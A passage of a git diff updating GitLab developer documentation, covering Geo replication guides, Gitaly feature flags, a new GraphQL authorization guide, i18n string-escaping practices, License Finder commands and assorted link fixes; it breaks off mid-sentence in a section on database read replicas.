`ee/spec/requests/api/graphql/geo/registries_spec.rb`: - - ```ruby - it_behaves_like 'gets registries for', { - field_name: 'widgetRegistries', - registry_class_name: 'WidgetRegistry', - registry_factory: :geo_widget_registry, - registry_foreign_key_field_name: 'widgetId' - } - ``` - -1. Update the GraphQL reference documentation: - - ```shell - bundle exec rake gitlab:graphql:compile_docs - ``` - -Individual widget synchronization and verification data should now be available -via the GraphQL API. - -Make sure to replicate the "update" events. Geo Framework does not currently support -replicating "update" events because all entities added to the framework, by this time, -are immutable. If this is the case -for the entity you're going to add, follow <https://gitlab.com/gitlab-org/gitlab/-/issues/118743> -and <https://gitlab.com/gitlab-org/gitlab/-/issues/118745> as examples to add the new event type. -Also, remove this notice when you've added it. - -#### Admin UI - -To do: This should be done as part of -[Geo: Implement frontend for Self-Service Framework replicables](https://gitlab.com/groups/gitlab-org/-/epics/2525) - -Widget sync and verification data (aggregate and individual) should now be -available in the Admin UI. - -#### Releasing the feature - -1. In `ee/config/feature_flags/development/geo_widget_replication.yml`, set `default_enabled: true` - -1. In `ee/app/replicators/geo/widget_replicator.rb`, delete the `self.replication_enabled_by_default?` method: - - ```ruby - module Geo - class WidgetReplicator < Gitlab::Geo::Replicator - ... - - # REMOVE THIS METHOD - def self.replication_enabled_by_default? - false - end - # REMOVE THIS METHOD - - ... - end - end - ``` - -1. In `ee/app/graphql/types/geo/geo_node_type.rb`, remove the `feature_flag` option for the released type: - - ```ruby - field :widget_registries, ::Types::Geo::WidgetRegistryType.connection_type, - null: true, - resolver: ::Resolvers::Geo::WidgetRegistriesResolver, - description: 'Find widget registries on this Geo node', - feature_flag: :geo_widget_replication # REMOVE THIS LINE - ``` +To implement Geo replication of a new blob-type Model, [open an issue with the provided issue template](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Geo%3A%20Replicate%20a%20new%20blob%20type). ### Repository Replicator Strategy -Models that refer to any repository on the disk -can be easily supported by Geo with the `Geo::RepositoryReplicatorStrategy` module. - -For example, to add support for files referenced by a `Gizmos` model with a -`gizmos` table, you would perform the following steps. - -#### Replication - -1. Include `Gitlab::Geo::ReplicableModel` in the `Gizmo` class, and specify - the Replicator class `with_replicator Geo::GizmoReplicator`. - - At this point the `Gizmo` class should look like this: - - ```ruby - # frozen_string_literal: true - - class Gizmo < ApplicationRecord - include ::Gitlab::Geo::ReplicableModel - - with_replicator Geo::GizmoReplicator - - # @param primary_key_in [Range, Gizmo] arg to pass to primary_key_in scope - # @return [ActiveRecord::Relation<Gizmo>] everything that should be synced to this node, restricted by primary key - def self.replicables_for_current_secondary(primary_key_in) - # Should be implemented. The idea of the method is to restrict - # the set of synced items depending on synchronization settings - end - - # Geo checks this method in FrameworkRepositorySyncService to avoid - # snapshotting repositories using object pools - def pool_repository - nil - end - ... - end - ``` - - Pay some attention to method `pool_repository`. Not every repository type uses - repository pooling. As Geo prefers to use repository snapshotting, it can lead to data loss. - Make sure to overwrite `pool_repository` so it returns nil for repositories that do not - have pools. - - If there is a common constraint for records to be available for replication, - make sure to also overwrite the `available_replicables` scope. - -1. Create `ee/app/replicators/geo/gizmo_replicator.rb`. Implement the - `#repository` method which should return a `<Repository>` instance, - and implement the class method `.model` to return the `Gizmo` class: - - ```ruby - # frozen_string_literal: true - - module Geo - class GizmoReplicator < Gitlab::Geo::Replicator - include ::Geo::RepositoryReplicatorStrategy - - def self.model - ::Gizmo - end - - def repository - model_record.repository - end - - def self.git_access_class - ::Gitlab::GitAccessGizmo - end - - # The feature flag follows the format `geo_#{replicable_name}_replication`, - # so here it would be `geo_gizmo_replication` - def self.replication_enabled_by_default? - false - end - end - end - ``` - -1. Generate the feature flag definition file by running the feature flag command - and running through the steps: - - ```shell - bin/feature-flag --ee geo_gizmo_replication --type development --group 'group::geo' - ``` - -1. Make sure Geo push events are created. Usually it needs some - change in the `app/workers/post_receive.rb` file. Example: - - ```ruby - def replicate_gizmo_changes(gizmo) - if ::Gitlab::Geo.primary? - gizmo.replicator.handle_after_update if gizmo - end - end - ``` - - See `app/workers/post_receive.rb` for more examples. - -1. Make sure the repository removal is also handled. You may need to add something - like the following in the destroy service of the repository: - - ```ruby - gizmo.replicator.handle_after_destroy if gizmo.repository - ``` - -1. Add this replicator class to the method `replicator_classes` in - `ee/lib/gitlab/geo.rb`: - - ```ruby - REPLICATOR_CLASSES = [ - ... - ::Geo::PackageFileReplicator, - ::Geo::GizmoReplicator - ] - end - ``` - -1. Create `ee/spec/replicators/geo/gizmo_replicator_spec.rb` and perform - the necessary setup to define the `model_record` variable for the shared - examples: - - ```ruby - # frozen_string_literal: true - - require 'spec_helper' - - RSpec.describe Geo::GizmoReplicator do - let(:model_record) { build(:gizmo) } - - include_examples 'a repository replicator' - end - ``` - -1. Create the `gizmo_registry` table, with columns ordered according to [our guidelines](../ordering_table_columns.md) so Geo secondaries can track the sync and - verification state of each Gizmo. This migration belongs in `ee/db/geo/migrate`: - - ```ruby - # frozen_string_literal: true - - class CreateGizmoRegistry < ActiveRecord::Migration[6.0] - include Gitlab::Database::MigrationHelpers - - DOWNTIME = false - - disable_ddl_transaction! - - def up - create_table :gizmo_registry, id: :bigserial, force: :cascade do |t| - t.datetime_with_timezone :retry_at - t.datetime_with_timezone :last_synced_at - t.datetime_with_timezone :created_at, null: false - t.bigint :gizmo_id, null: false - t.integer :state, default: 0, null: false, limit: 2 - t.integer :retry_count, default: 0, limit: 2 - t.string :last_sync_failure, limit: 255 - t.boolean :force_to_redownload - t.boolean :missing_on_primary - - t.index :gizmo_id, name: :index_gizmo_registry_on_gizmo_id, unique: true - t.index :retry_at - t.index :state - end - end - - def down - drop_table :gizmo_registry - end - end - ``` - -1. Create `ee/app/models/geo/gizmo_registry.rb`: - - ```ruby - # frozen_string_literal: true - - class Geo::GizmoRegistry < Geo::BaseRegistry - include Geo::ReplicableRegistry - - MODEL_CLASS = ::Gizmo - MODEL_FOREIGN_KEY = :gizmo_id - - belongs_to :gizmo, class_name: 'Gizmo' - end - ``` - -1. Update `REGISTRY_CLASSES` in `ee/app/workers/geo/secondary/registry_consistency_worker.rb`. -1. Add `gizmo_registry` to `ActiveSupport::Inflector.inflections` in `config/initializers_before_autoloader/000_inflections.rb`. -1. Create `ee/spec/factories/geo/gizmo_registry.rb`: - - ```ruby - # frozen_string_literal: true - - FactoryBot.define do - factory :geo_gizmo_registry, class: 'Geo::GizmoRegistry' do - gizmo - state { Geo::GizmoRegistry.state_value(:pending) } - - trait :synced do - state { Geo::GizmoRegistry.state_value(:synced) } - last_synced_at { 5.days.ago } - end - - trait :failed do - state { Geo::GizmoRegistry.state_value(:failed) } - last_synced_at { 1.day.ago } - retry_count { 2 } - last_sync_failure { 'Random error' } - end - - trait :started do - state { Geo::GizmoRegistry.state_value(:started) } - last_synced_at { 1.day.ago } - retry_count { 0 } - end - end - end - ``` - -1. Create `ee/spec/models/geo/gizmo_registry_spec.rb`: - - ```ruby - # frozen_string_literal: true - - require 'spec_helper' - - RSpec.describe Geo::GizmoRegistry, :geo, type: :model do - let_it_be(:registry) { create(:geo_gizmo_registry) } - - specify 'factory is valid' do - expect(registry).to be_valid - end - - include_examples 'a Geo framework registry' - end - ``` - -1. Make sure the newly added repository type can be accessed by a secondary. - You may need to make some changes to one of the Git access classes. - - Gizmos should now be replicated by Geo. - -#### Metrics - -You need to make the same changes as for Blob Replicator Strategy. -You need to make the same changes for the [metrics as in the Blob Replicator Strategy](#metrics). - -#### GraphQL API - -You need to make the same changes for the GraphQL API [as in the Blob Replicator Strategy](#graphql-api). +Models that refer to any Git repository on disk are supported by Geo with the `Geo::RepositoryReplicatorStrategy` module. For example, see how [Geo replication was implemented for Group-level Wikis](https://gitlab.com/gitlab-org/gitlab/-/issues/208147). Note that this issue does not implement verification, since verification of Git repositories was not yet added to the Geo self-service framework. An example implementing verification can be found in the merge request to [Add Snippet repository verification](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56596). -#### Releasing the feature +Each Git repository is expected to have its own primary ID and model. -You need to make the same changes for [releasing the feature as in the Blob Replicator Strategy](#releasing-the-feature). +To implement Geo replication of a new Git repository-type Model, [open an issue with the provided issue template](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Geo%3A%20Replicate%20a%20new%20Git%20repository%20type). diff --git a/doc/development/gitaly.md b/doc/development/gitaly.md index 87b9d35f99b..2e814a9c41b 100644 --- a/doc/development/gitaly.md +++ b/doc/development/gitaly.md @@ -303,16 +303,19 @@ Here are the steps to gate a new feature in Gitaly behind a feature flag. ### GitLab Rails -1. Test in a Rails console by setting the feature flag: +Test in a Rails console by setting the feature flag: - NOTE: - Pay attention to the name of the flag and the one used in the Rails console. - There is a difference between them (dashes replaced by underscores and name - prefix is changed). Make sure to prefix all flags with `gitaly_`. +```ruby +Feature.enable('gitaly_go_find_all_tags') +``` - ```ruby - Feature.enable('gitaly_go_find_all_tags') - ``` +Pay attention to the name of the flag and the one used in the Rails console. There is a difference +between them (dashes replaced by underscores and name prefix is changed). Make sure to prefix all +flags with `gitaly_`. + +NOTE: +If not set in GitLab, feature flags are read as false from the console and Gitaly uses their +default value. The default value depends on the GitLab version. ### Testing with GDK diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md index 745ec50bdcd..e8c0c751af9 100644 --- a/doc/development/go_guide/index.md +++ b/doc/development/go_guide/index.md @@ -322,7 +322,7 @@ A few things to keep in mind when adding context: - [Go 1.13 errors](https://blog.golang.org/go1.13-errors). - [Programing with errors](https://peter.bourgon.org/blog/2019/09/11/programming-with-errors.html). -- [Don’t just check errors, handle them +- [Don't just check errors, handle them gracefully](https://dave.cheney.net/2016/04/27/dont-just-check-errors-handle-them-gracefully). ## CLIs @@ -499,6 +499,12 @@ of the Code Review Comments page on the Go wiki for more details. Most editors/IDEs allow you to run commands before/after saving a file, you can set it up to run `goimports -local gitlab.com/gitlab-org` so that it's applied to every file when saving. +### Analyzer Tests + +The conventional Secure [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/) has a [`convert` function](https://gitlab.com/gitlab-org/security-products/analyzers/command/-/blob/main/convert.go#L15-17) that converts SAST/DAST scanner reports into [GitLab Security Reports](https://gitlab.com/gitlab-org/security-products/security-report-schemas). When writing tests for the `convert` function, we should make use of [test fixtures](https://dave.cheney.net/2016/05/10/test-fixtures-in-go) using a `testdata` directory at the root of the analyzer's repo. The `testdata` directory should contain two subdirectories: `expect` and `reports`. The `reports` directory should contain sample SAST/DAST scanner reports which are passed into the `convert` function during the test setup. The `expect` directory should contain the expected GitLab Security Report that the `convert` returns. See Secret Detection for an [example](https://gitlab.com/gitlab-org/security-products/analyzers/secrets/-/blob/160424589ef1eed7b91b59484e019095bc7233bd/convert_test.go#L13-66). + +If the scanner report is small, less than 35 lines, then feel free to [inline the report](https://gitlab.com/gitlab-org/security-products/analyzers/sobelow/-/blob/8bd2428a/convert/convert_test.go#L13-77) rather than use a `testdata` directory. + --- [Return to Development documentation](../README.md). diff --git a/doc/development/graphql_guide/authorization.md b/doc/development/graphql_guide/authorization.md new file mode 100644 index 00000000000..ee5713f6fda --- /dev/null +++ b/doc/development/graphql_guide/authorization.md @@ -0,0 +1,223 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# GraphQL Authorization + +Authorizations can be applied in these places: + +- Types: + - Objects (all classes descending from `::Types::BaseObject`) + - Enums (all classes descending from `::Types::BaseEnum`) +- Resolvers: + - Field resolvers (all classes descending from `::Types::BaseResolver`) + - Mutations (all classes descending from `::Types::BaseMutation`) +- Fields (all fields declared using the `field` DSL method) + +Authorizations cannot be specified for abstract types (interfaces and +unions). Abstract types delegate to their member types. +Basic built in scalars (such as integers) do not have authorizations. + +Our authorization system uses the same [`DeclarativePolicy`](../policies.md) +system as throughout the rest of the application. + +- For single values (such as `Query.project`), if the currently authenticated + user fails the authorization, the field resolves to `null`. +- For collections (such as `Project.issues`), the collection is filtered to + exclude the objects that the user's authorization checks failed against. This + process of filtering (also known as _redaction_) happens after pagination, so + some pages may be smaller than the requested page size, due to redacted + objects being removed. + +Also see [authorizing resources in a mutation](../api_graphql_styleguide.md#authorizing-resources). + +NOTE: +The best practice is to load only what the currently authenticated user is allowed to +view with our existing finders first, without relying on authorization +to filter the records. This minimizes database queries and unnecessary +authorization checks of the loaded records. It also avoids situations, +such as short pages, which can expose the presence of confidential resources. + +See [`authorization_spec.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/graphql/features/authorization_spec.rb) +for examples of all the authorization schemes discussed here. + +## Type authorization + +Authorize a type by passing an ability to the `authorize` method. All +fields with the same type is authorized by checking that the +currently authenticated user has the required ability. + +For example, the following authorization ensures that the currently +authenticated user can only see projects that they have the +`read_project` ability for (so long as the project is returned in a +field that uses `Types::ProjectType`): + +```ruby +module Types + class ProjectType < BaseObject + authorize :read_project + end +end +``` + +You can also authorize against multiple abilities, in which case all of +the ability checks must pass. + +For example, the following authorization ensures that the currently +authenticated user must have `read_project` and `another_ability` +abilities to see a project: + +```ruby +module Types + class ProjectType < BaseObject + authorize [:read_project, :another_ability] + end +end +``` + +## Resolver authorization + +Resolvers can have their own authorizations, which can be applied either to the +parent object or to the resolved values. + +An example of a resolver that authorizes against the parent is +`Resolvers::BoardListsResolver`, which requires that the parent +satisfy `:read_list` before it runs. + +An example which authorizes against the resolved resource is +`Resolvers::Ci::ConfigResolver`, which requires that the resolved value satisfy +`:read_pipeline`. + +To authorize against the parent, the resolver must _opt in_ (because this +was not the default value initially), by declaring this with `authorizes_object!`: + +```ruby +module Resolvers + class MyResolver < BaseResolver + authorizes_object! + + authorize :some_permission + end +end +``` + +To authorize against the resolved value, the resolver must apply the +authorization at some point, typically by using `#authorized_find!(**args)`: + +```ruby +module Resolvers + class MyResolver < BaseResolver + authorize :some_permission + + def resolve(**args) + authorized_find!(**args) # calls find_object + end + + def find_object(id:) + MyThing.find(id) + end + end +end +``` + +Of the two approaches, authorizing the object is more efficient, because it +helps avoid unnecessary queries. + +## Field authorization + +Fields can be authorized with the `authorize` option. + +Fields authorization is checked against the current object, and +authorization happens _before_ resolution, which means that +fields do not have access to the resolved resource. If you need to +apply an authorization check to a field, you probably want to add +authorization to the resolver, or ideally to the type. + +For example, the following authorization ensures that the +authenticated user must have administrator level access to the project +to view the `secretName` field: + +```ruby +module Types + class ProjectType < BaseObject + field :secret_name, ::GraphQL::STRING_TYPE, null: true, authorize: :owner_access + end +end +``` + +In this example, we use field authorization (such as +`Ability.allowed?(current_user, :read_transactions, bank_account)`) to avoid +a more expensive query: + +```ruby +module Types + class BankAccountType < BaseObject + field :transactions, ::Types::TransactionType.connection_type, null: true, + authorize: :read_transactions + end +end +``` + +Field authorization is recommended for: + +- Scalar fields (strings, booleans, or numbers) that should have different levels + of access controls to other fields. +- Object and collection fields where an access check can be applied to the + parent to save the field resolution, and avoid individual policy checks + on each resolved object. + +Field authorization does not replace object level checks, unless the object +precisely matches the access level of the parent project. For example, issues +can be confidential, independent of the access level of the parent. Therefore, +we should not use field authorization for `Project.issue`. + +You can also authorize fields against multiple abilities. Pass the abilities +as an array instead of as a single value: + +```ruby +module Types + class MyType < BaseObject + field :hidden_field, ::GraphQL::INT_TYPE, + null: true, + authorize: [:owner_access, :another_ability] + end +end +``` + +The field authorization on `MyType.hiddenField` implies the following tests: + +```ruby +Ability.allowed?(current_user, :owner_access, object_of_my_type) && + Ability.allowed?(current_user, :another_ability, object_of_my_type) +``` + +## Type and Field authorizations together + +Authorizations are cumulative. In other words, the currently authenticated +user may need to pass authorization requirements on both a field and a field's +type. + +In the following simplified example the currently authenticated user +needs both `first_permission` on the user and `second_permission` on the +issue to see the author of the issue. + +```ruby +class UserType + authorize :first_permission +end +``` + +```ruby +class IssueType + field :author, UserType, authorize: :second_permission +end +``` + +The combination of the object authorization on `UserType` and the field authorization on `IssueType.author` implies the following tests: + +```ruby +Ability.allowed?(current_user, :second_permission, issue) && + Ability.allowed?(current_user, :first_permission, issue.author) +``` diff --git a/doc/development/graphql_guide/index.md b/doc/development/graphql_guide/index.md index 4ecb34835aa..b8d4b53992e 100644 --- a/doc/development/graphql_guide/index.md +++ b/doc/development/graphql_guide/index.md @@ -17,6 +17,7 @@ feedback, and suggestions. - [GraphQL API documentation style guide](../documentation/graphql_styleguide.md): documentation style guide for GraphQL. - [GraphQL API](../../api/graphql/index.md): user documentation for the GitLab GraphQL API. +- [GraphQL authorization](authorization.md): guide to using authorization in GraphQL. - [GraphQL BatchLoader](batchloader.md): development documentation on the BatchLoader. - [GraphQL pagination](pagination.md): development documentation on pagination. - [GraphQL Pro](graphql_pro.md): information on our GraphQL Pro subscription. diff --git a/doc/development/i18n/externalization.md b/doc/development/i18n/externalization.md index 90355e1cccb..0f7b8078933 100644 --- a/doc/development/i18n/externalization.md +++ b/doc/development/i18n/externalization.md @@ -255,7 +255,45 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s - In Vue: - See the section on [Vue component interpolation](#vue-components-interpolation). + Use the [`GlSprintf`](https://gitlab-org.gitlab.io/gitlab-ui/?path=/docs/utilities-sprintf--sentence-with-link) component if: + + - you need to include child components in the translation string. + - you need to include HTML in your translation string. + - you are using `sprintf` and need to pass `false` as the third argument to + prevent it from escaping placeholder values. + + For example: + + ```html + <gl-sprintf :message="s__('ClusterIntegration|Learn more about %{linkStart}zones%{linkEnd}')"> + <template #link="{ content }"> + <gl-link :href="somePath">{{ content }}</gl-link> + </template> + </gl-sprintf> + ``` + + In other cases it may be simpler to use `sprintf`, perhaps in a computed + property. For example: + + ```html + <script> + import { __, sprintf } from '~/locale'; + + export default { + ... + computed: { + userWelcome() { + sprintf(__('Hello %{username}'), { username: this.user.name }); + } + } + ... + } + </script> + + <template> + <span>{{ userWelcome }}</span> + </template> + ``` - In JavaScript (when Vue cannot be used): @@ -265,12 +303,10 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s sprintf(__('Hello %{username}'), { username: 'Joe' }); // => 'Hello Joe' ``` - If you want to use markup within the translation and are using Vue, you - **must** use the [`gl-sprintf`](#vue-components-interpolation) component. If - for some reason you cannot use Vue, use `sprintf` and stop it from escaping - placeholder values by passing `false` as its third argument. You **must** - escape any interpolated dynamic values yourself, for instance using - `escape` from `lodash`. + If you need to use markup within the translation, use `sprintf` and stop it + from escaping placeholder values by passing `false` as its third argument. + You **must** escape any interpolated dynamic values yourself, for instance + using `escape` from `lodash`. ```javascript import { escape } from 'lodash'; @@ -589,7 +625,7 @@ This also applies when using links in between translated sentences, otherwise th ```haml - zones_link_url = 'https://cloud.google.com/compute/docs/regions-zones/regions-zones' - zones_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: zones_link_url } - = s_('ClusterIntegration|Learn more about %{zones_link_start}zones%{zones_link_end}').html_safe % { zones_link_start: zones_link_start, zones_link_end: '</a>'.html_safe } + = html_escape(s_('ClusterIntegration|Learn more about %{zones_link_start}zones%{zones_link_end}')) % { zones_link_start: zones_link_start, zones_link_end: '</a>'.html_safe } ``` - In Vue, instead of: @@ -632,7 +668,7 @@ This also applies when using links in between translated sentences, otherwise th {{ sprintf(s__("ClusterIntegration|Learn more about %{link}"), { link: '<a href="https://cloud.google.com/compute/docs/regions-zones/regions-zones" target="_blank" rel="noopener noreferrer">zones</a>' - }) + }, false) }} ``` @@ -643,7 +679,7 @@ This also applies when using links in between translated sentences, otherwise th sprintf(s__("ClusterIntegration|Learn more about %{linkStart}zones%{linkEnd}"), { linkStart: '<a href="https://cloud.google.com/compute/docs/regions-zones/regions-zones" target="_blank" rel="noopener noreferrer">', linkEnd: '</a>', - }) + }, false) }} ``` @@ -652,45 +688,6 @@ The reasoning behind this is that in some languages words change depending on co When in doubt, try to follow the best practices described in this [Mozilla Developer documentation](https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Localization_content_best_practices#Splitting). -##### Vue components interpolation - -When translating UI text in Vue components, you might want to include child components inside -the translation string. -You could not use a JavaScript-only solution to render the translation, -because Vue would not be aware of the child components and would render them as plain text. - -For this use case, you should use the `gl-sprintf` component which is maintained -in **GitLab UI**. - -The `gl-sprintf` component accepts a `message` property, which is the translatable string, -and it exposes a named slot for every placeholder in the string, which lets you include Vue -components easily. - -Assume you want to print the translatable string -`Pipeline %{pipelineId} triggered %{timeago} by %{author}`. To replace the `%{timeago}` and -`%{author}` placeholders with Vue components, here's how you would do that with `gl-sprintf`: - -```html -<template> - <div> - <gl-sprintf :message="__('Pipeline %{pipelineId} triggered %{timeago} by %{author}')"> - <template #pipelineId>{{ pipeline.id }}</template> - <template #timeago> - <timeago :time="pipeline.triggerTime" /> - </template> - <template #author> - <gl-avatar-labeled - :src="pipeline.triggeredBy.avatarPath" - :label="pipeline.triggeredBy.name" - /> - </template> - </gl-sprintf> - </div> -</template> -``` - -For more information, see the [`gl-sprintf`](https://gitlab-org.gitlab.io/gitlab-ui/?path=/story/base-sprintf--default) documentation. - ## Updating the PO files with the new content Now that the new content is marked for translation, we need to update @@ -702,7 +699,7 @@ bin/rake gettext:regenerate This command updates `locale/gitlab.pot` file with the newly externalized strings and remove any strings that aren't used anymore. You should check this -file in. Once the changes are on master, they are picked up by +file in. Once the changes are on the default branch, they are picked up by [CrowdIn](https://translate.gitlab.com) and be presented for translation. diff --git a/doc/development/i18n/merging_translations.md b/doc/development/i18n/merging_translations.md index e7d25942143..553820733e7 100644 --- a/doc/development/i18n/merging_translations.md +++ b/doc/development/i18n/merging_translations.md @@ -42,10 +42,11 @@ page](https://translate.gitlab.com/project/gitlab-ee/settings#integration). ## Merging translations -When all translations are found good and pipelines pass the -translations can be merged into the master branch. When merging the translations, -make sure to check the **Remove source branch** checkbox, so CrowdIn recreates the -`master-i18n` from master after the new translation was merged. +After all translations are determined to be appropriate and the pipelines pass, +you can merge the translations into the default branch. When merging translations, +be sure to select the **Remove source branch** check box, which causes CrowdIn +to recreate the `master-i18n` from the default branch after merging the new +translation. We are discussing [automating this entire process](https://gitlab.com/gitlab-org/gitlab/-/issues/19896). @@ -59,7 +60,7 @@ and delete the [`master-18n`](https://gitlab.com/gitlab-org/gitlab/-/branches/all?utf8=✓&search=master-i18n). This might be needed when the merge request contains failures that -have been fixed on master. +have been fixed on the default branch. ## Recreate the GitLab integration in CrowdIn diff --git a/doc/development/i18n/translation.md b/doc/development/i18n/translation.md index 7fb49521106..f3d02e180e7 100644 --- a/doc/development/i18n/translation.md +++ b/doc/development/i18n/translation.md @@ -29,7 +29,6 @@ GitLab is being translated into many languages. - If the language you are looking for is not available, [open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=✓&state=all&label_name[]=Category%3AInternationalization). Notify our Crowdin administrators by including `@gitlab-org/manage/import` in your issue. - in the issue. - After the issue/Merge Request is complete, restart this procedure. 1. Next, you can view list of files and folders. Select `gitlab.pot` to open the translation editor. @@ -109,6 +108,6 @@ To propose additions to the glossary please <!-- vale gitlab.Spelling = NO --> In French, the "écriture inclusive" is now over (see on [Legifrance](https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000036068906/)). -So, to include both genders, write “Utilisateurs et utilisatrices” instead of “Utilisateur·rice·s”. +So, to include both genders, write "Utilisateurs et utilisatrices" instead of "Utilisateur·rice·s". When space is missing, the male gender should be used alone. <!-- vale gitlab.Spelling = YES --> diff --git a/doc/development/instrumentation.md b/doc/development/instrumentation.md index 338ad76d414..83e7444bb1f 100644 --- a/doc/development/instrumentation.md +++ b/doc/development/instrumentation.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md index fda75dad119..ae4e952d063 100644 --- a/doc/development/integrations/secure.md +++ b/doc/development/integrations/secure.md @@ -68,7 +68,7 @@ so the [`allow_failure`](../../ci/yaml/README.md#allow_failure) parameter should ### Artifacts Scanning jobs must declare a report that corresponds to the type of scanning they perform, -using the [`artifacts:reports`](../../ci/pipelines/job_artifacts.md#artifactsreports) keyword. +using the [`artifacts:reports`](../../ci/yaml/README.md#artifactsreports) keyword. Valid reports are: `dependency_scanning`, `container_scanning`, `dast`, and `sast`. For example, here is the definition of a SAST job that generates a file named `gl-sast-report.json`, @@ -209,7 +209,7 @@ It is recommended to name the output file after the type of scanning, and to use Since all Secure reports are JSON files, it is recommended to use `.json` as a file extension. For instance, a suggested filename for a Dependency Scanning report is `gl-dependency-scanning.json`. -The [`artifacts:reports`](../../ci/pipelines/job_artifacts.md#artifactsreports) keyword +The [`artifacts:reports`](../../ci/yaml/README.md#artifactsreports) keyword of the job definition must be consistent with the file path where the Security report is written. For instance, if a Dependency Scanning analyzer writes its report to the CI project directory, and if this report filename is `depscan.json`, diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md index 17bce13583c..3154dc83ea4 100644 --- a/doc/development/integrations/secure_partner_integration.md +++ b/doc/development/integrations/secure_partner_integration.md @@ -71,19 +71,19 @@ best place to integrate your own product and its results into GitLab. This section describes the steps you need to complete to onboard as a partner and complete an integration with the Secure stage. -1. Read about our [partnerships](https://about.gitlab.com/partners/integrate/). +1. Read about our [partnerships](https://about.gitlab.com/partners/technology-partners/integrate/). 1. [Create an issue](https://gitlab.com/gitlab-com/alliances/alliances/-/issues/new?issuable_template=new_partner) using our new partner issue template to begin the discussion. 1. Get a test account to begin developing your integration. You can - request a [GitLab.com Subscription Sandbox](https://about.gitlab.com/partners/integrate/#gitlabcom-subscription-sandbox-request) - or an [EE Developer License](https://about.gitlab.com/partners/integrate/#requesting-ee-dev-license-for-rd). + request a [GitLab.com Subscription Sandbox](https://about.gitlab.com/partners/technology-partners/integrate/#gitlabcom-subscription-sandbox-request) + or an [EE Developer License](https://about.gitlab.com/partners/technology-partners/integrate/#requesting-ultimate-dev-license-for-rd). 1. Provide a [pipeline job](../../development/pipelines.md) template that users could integrate into their own GitLab pipelines. 1. Create a report artifact with your pipeline jobs. 1. Ensure your pipeline jobs create a report artifact that GitLab can process to successfully display your own product's results with the rest of GitLab. - See detailed [technical directions](secure.md) for this step. - - Read more about [job report artifacts](../../ci/pipelines/job_artifacts.md#artifactsreports). + - Read more about [job report artifacts](../../ci/yaml/README.md#artifactsreports). - Read about [job artifacts](../../ci/pipelines/job_artifacts.md). - Your report artifact must be in one of our currently supported formats. For more information, see the [documentation on reports](secure.md#report). @@ -105,10 +105,10 @@ and complete an integration with the Secure stage. interface. 1. Demo the integration to GitLab: - After you have tested and are ready to demo your integration please - [reach out](https://about.gitlab.com/partners/integrate/) to us. If you - skip this step you won’t be able to do supported marketing. + [reach out](https://about.gitlab.com/partners/technology-partners/integrate/) to us. If you + skip this step you won't be able to do supported marketing. 1. Begin doing supported marketing of your GitLab integration. - - Work with our [partner team](https://about.gitlab.com/partners/integrate/) + - Work with our [partner team](https://about.gitlab.com/partners/technology-partners/integrate/) to support your go-to-market as appropriate. - Examples of supported marketing could include being listed on our [Security Partner page](https://about.gitlab.com/partners/#security), doing an [Unfiltered blog post](https://about.gitlab.com/handbook/marketing/blog/unfiltered/), diff --git a/doc/development/licensed_feature_availability.md b/doc/development/licensed_feature_availability.md index a9fc0414297..10e6d717a18 100644 --- a/doc/development/licensed_feature_availability.md +++ b/doc/development/licensed_feature_availability.md @@ -41,3 +41,16 @@ the instance license. ```ruby License.feature_available?(:feature_symbol) ``` + +## Restricting frontend features + +To restrict frontend features based on the license, use `push_licensed_feature`. +The frontend can then access this via `this.glFeatures`: + +```ruby +before_action do + push_licensed_feature(:feature_symbol) + # or by project/namespace + push_licensed_feature(:feature_symbol, project) +end +``` diff --git a/doc/development/licensing.md b/doc/development/licensing.md index c467fe81755..1ab56e60a0b 100644 --- a/doc/development/licensing.md +++ b/doc/development/licensing.md @@ -18,9 +18,6 @@ Some gems may not include their license information in their `gemspec` file, and ### License Finder commands -NOTE: -License Finder currently uses GitLab misused terms of `whitelist` and `blacklist`. As a result, the commands below reference those terms. We've created an [issue on their project](https://github.com/pivotal/LicenseFinder/issues/745) to propose that they rename their commands. - There are a few basic commands License Finder provides that you need in order to manage license detection. To verify that the checks are passing, and/or to see what dependencies are causing the checks to fail: @@ -32,13 +29,13 @@ bundle exec license_finder To allowlist a new license: ```shell -license_finder whitelist add MIT +license_finder permitted_licenses add MIT ``` To denylist a new license: ```shell -license_finder blacklist add Unlicense +license_finder restricted_licenses add Unlicense ``` To tell License Finder about a dependency's license if it isn't auto-detected: diff --git a/doc/development/logging.md b/doc/development/logging.md index 30398eb87a1..88ae3950f1a 100644 --- a/doc/development/logging.md +++ b/doc/development/logging.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md index 50362269c1b..0f696d39092 100644 --- a/doc/development/merge_request_performance_guidelines.md +++ b/doc/development/merge_request_performance_guidelines.md @@ -18,7 +18,7 @@ To measure the impact of a merge request you can use the following guides: - [Performance Guidelines](performance.md) -- [What requires downtime?](what_requires_downtime.md) +- [Avoiding downtime in migrations](avoiding_downtime_in_migrations.md) ## Definition @@ -158,6 +158,27 @@ objects_to_update.update_all(some_field: some_value) This uses ActiveRecord's `update_all` method to update all rows in a single query. This in turn makes it much harder for this code to overload a database. +## Use read replicas when possible + +In a DB cluster we have many read replicas and one primary. A classic use of scaling the DB is to have read-only actions be performed by the replicas. We use 